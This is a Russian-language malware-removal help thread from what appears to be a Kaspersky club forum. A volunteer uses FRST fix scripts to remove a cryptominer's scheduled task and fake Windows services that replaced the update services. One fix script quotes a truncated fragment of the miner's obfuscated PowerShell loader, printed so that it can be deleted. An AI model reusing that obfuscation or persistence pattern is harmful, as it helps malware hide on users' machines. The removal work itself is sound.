[РЕШЕНО] Подозрение на майнер или вирус

[Buzhor13]

Здравствуйте,
Столкнулась с такой проблемой. До нового года (не могу сказать как долго сохранялась проблема), долго запускался компьютер. После ввода пароля открывался рабочий стол и минуты 3 запускались остальные системы (360 Тотал Секьюрити засекал время), программы открывались не с 1 (а иногда даже не с 3) раза, вылетали ошибки, связанные с библиотекой. Ближе к новому году полетела материнская плата (а может быть это был процессор). После того как я заменила обе детали, все было хорошо, но вот  сейчас проблема вернулась. 
Из общего: я активировала Офис с помощью программы KMS, ее я удалила и антивирус обезвредил какой-то вирус, но проблему это не решило.
Так же вчера я обнаружила, что если отключить провод интернета - компьютер запускается за 17 сек, с включенным - за 2-3 минуты.

CollectionLog-2025.02.01-13.35.zip

[safety]

Добавьте, дополнительно, образ автозапуска в uVS

 

1. Скачать архив программы можно отсюда:

2. Распакуйте данный архив с программой в отдельный каталог и запустите файл Start.exe
(для Vista, W7, W8, W10, W11 запускаем с правами администратора)
3. В стартовом окне программы - нажмите "запустить под текущим пользователем"
(если текущий пользователь с правами администратора).

4. Далее, меню "Файл" / Сохранить Полный образ автозапуска.

5. дождитесь, пока процесс создания файла образа завершится.
Сохраненный файл образа автозапуска (с именем Ваш_компьютер_дата_время.txt) автоматически добавится в архив 7z или rar.
6. Файл архива с образом автозапуска прикрепите к вашему сообщению на форуме. Ждем ответ.

[Buzhor13]

Программа выдает ошибку (последняя строчка) и вылетает. Архив никакой не создается

[safety]

Подготовьте логи анализа системы при помощи Farbar Recovery Scan Tool

[Buzhor13]

Addition.txt FRST.txt

 

Сообщение выше прошу считать недействительным, отправила их раньше времени думая, что программа зависла.
Вот актуальные файлы:

 

Addition.txt FRST.txt

[safety]

22 часа назад, safety сказал:

5. дождитесь, пока процесс создания файла образа завершится.

Тогда может, повторите, и дождитесь завершения процесса. Образ автозапуска для анализа лишним не будет.

[safety]

По очистке системы:

 

Выполните скрипт очистки в FRST

Запускаем FRST.exe от имени Администратора (если не запущен)

Копируем скрипт из браузера в буфер обмена, браузер закрываем.

Ждем, когда будет готов к работе,

Нажимаем в FRST кнопку "исправить".

Скрипт очистит систему, и завершит работу c перезагрузкой системы

Start::
Task: {2B243E29-738E-4932-8497-885C82A268C6} - System32\Tasks\dialersvc64 => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [455680 2025-01-06] (Microsoft Windows -> Microsoft Corporation) -> "function Local:XgXwpQwWBheg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$UbasdaihLcQvOi,[Parameter(Position=1)][Type]$hyIJNpLlYK)$vemFcQhwAYB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char (запись имеет ещё 5172 символов). <==== ВНИМАНИЕ
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Ограничение <==== ВНИМАНИЕ
Reboot::
End::

После перезагрузки:

Добавьте файл Fixlog.txt из папки, откуда запускали FRST, в ваше сообщение

Сделайте новые логи FRST для контроля.

[Buzhor13]

Addition.txt Fixlog.txt FRST.txt

[safety]

скачайте с данной страницы

https://download.bleepingcomputer.com/win-services/windows-10-22H2/

следу.ющие твики для исправления поврежденных служб:

BITS

dosvc

UsoSvc

WaaSMedicSvc

wuauserv

 

Запускаем каждый из загруженных файлов *.reg от имени Администратора, разрешаем внести изменения в реестр

Перезагружаем систему,

 

далее,

Выполните скрипт очистки в FRST

Запускаем FRST.exe от имени Администратора (если не запущен)

Копируем скрипт из браузера в буфер обмена, браузер закрываем.

Ждем, когда будет готов к работе,

Нажимаем в FRST кнопку "исправить".

Скрипт очистит систему, и завершит работу c перезагрузкой системы

Start::
S2 BITS_bkp; C:\Windows\System32\qmgr.dll [1481728 2025-01-06] (Microsoft Windows -> Microsoft Corporation)
S2 dosvc_bkp; C:\Windows\system32\dosvc.dll [1526272 2025-01-06] (Microsoft Windows -> Microsoft Corporation)
S2 UsoSvc_bkp; C:\Windows\system32\usosvc.dll [573952 2025-01-06] (Microsoft Windows -> Microsoft Corporation)
S3 WaaSMedicSvc_bkp; C:\Windows\System32\WaaSMedicSvc.dll [427520 2025-01-06] (Microsoft Windows -> Microsoft Corporation)
S3 wuauserv_bkp; C:\Windows\system32\wuaueng.dll [3433472 2025-01-06] (Microsoft Windows -> Microsoft Corporation)
Reboot::
End::

После перезагрузки:

Добавьте файл Fixlog.txt из папки, откуда запускали FRST, в ваше сообщение

Проверяем работоспособность системы.

Добавьте новые логи FRST для контроля.

[Buzhor13]

После перезагрузки компьютер запустился за 16 секунд. Можете рассказать, в чем была проблема?

Addition.txt Fixlog.txt FRST.txt

[safety]

Во первых, задача с запуском майнера была удалена.

Во вторых удалены поддельные службы, и восстановлены соответствующие системные службы.

-----------

Если проблемы были исправлены:

 

завершающие шаги:

 

    Загрузите SecurityCheck by glax24 & Severnyj, https://safezone.cc/resources/security-check-by-glax24.25/ сохраните утилиту на Рабочем столе и извлеките из архива.
    Запустите из меню по щелчку правой кнопки мыши Запустить от имени администратора
    Если увидите предупреждение от вашего фаервола или SmartScreen относительно программы SecurityCheck, не блокируйте ее работу
    Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt
    Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например C:\SecurityCheck\SecurityCheck.txt
    Прикрепите этот файл к своему следующему сообщению.

 

[Buzhor13]

После перезагрузки компьютер запустился за 16 секунд. Можете рассказать, в чем была проблема?

SecurityCheck.txt

[safety]

Цитата

Можете рассказать, в чем была проблема?

Во первых, была задача с запуском майнера --- была удалена.

Во вторых добавлены поддельные службы вместо системных -- поддельные удалены, соответствующие системные службы восстановлены .

-----------

 

По возможности обновите данное ПО:

 

Среда выполнения Microsoft Edge WebView2 Runtime v.132.0.2957.127 Внимание! Скачать обновления
^При ошибках обновления, удалите старую версию, скачайте и установите новую. Или переустановите браузер Microsoft Edge.^

WinRAR 5.80 beta 1 (64-bit) v.5.80.1 Внимание! Скачать обновления
-------------------------- [ IMAndCollaborate ] ---------------------------
Discord v.1.0.9177 Внимание! Скачать обновления

Yandex v.24.12.4.1049 Внимание! Скачать обновления
^Проверьте обновления через меню Дополнительно - О браузере Yandex!^
Microsoft Edge v.132.0.2957.127 Внимание! Скачать обновления
^Проверьте обновления через меню Справка и отзывы - О программе Microsoft Edge!^

 

 

[Buzhor13]

Спасибо Вам большое!

[safety]

Мы были рады Вам помочь! Надеемся, что Вы остались довольны результатом. На нашем форуме также можно получить компьютерную помощь, помощь по продуктам "Лаборатории Касперкого", обсудить технологии и технику, заказать эксклюзивную сувенирную продукцию "Лаборатории Касперского" бесплатно! Форумчане ежегодно путешествуют. В числе приглашенных в Турцию, Армению, Сочи, Камбоджу можете стать и Вы! Будем рады видеть Вас в наших рядах! Всегда ваш, клуб "Лаборатории Касперского".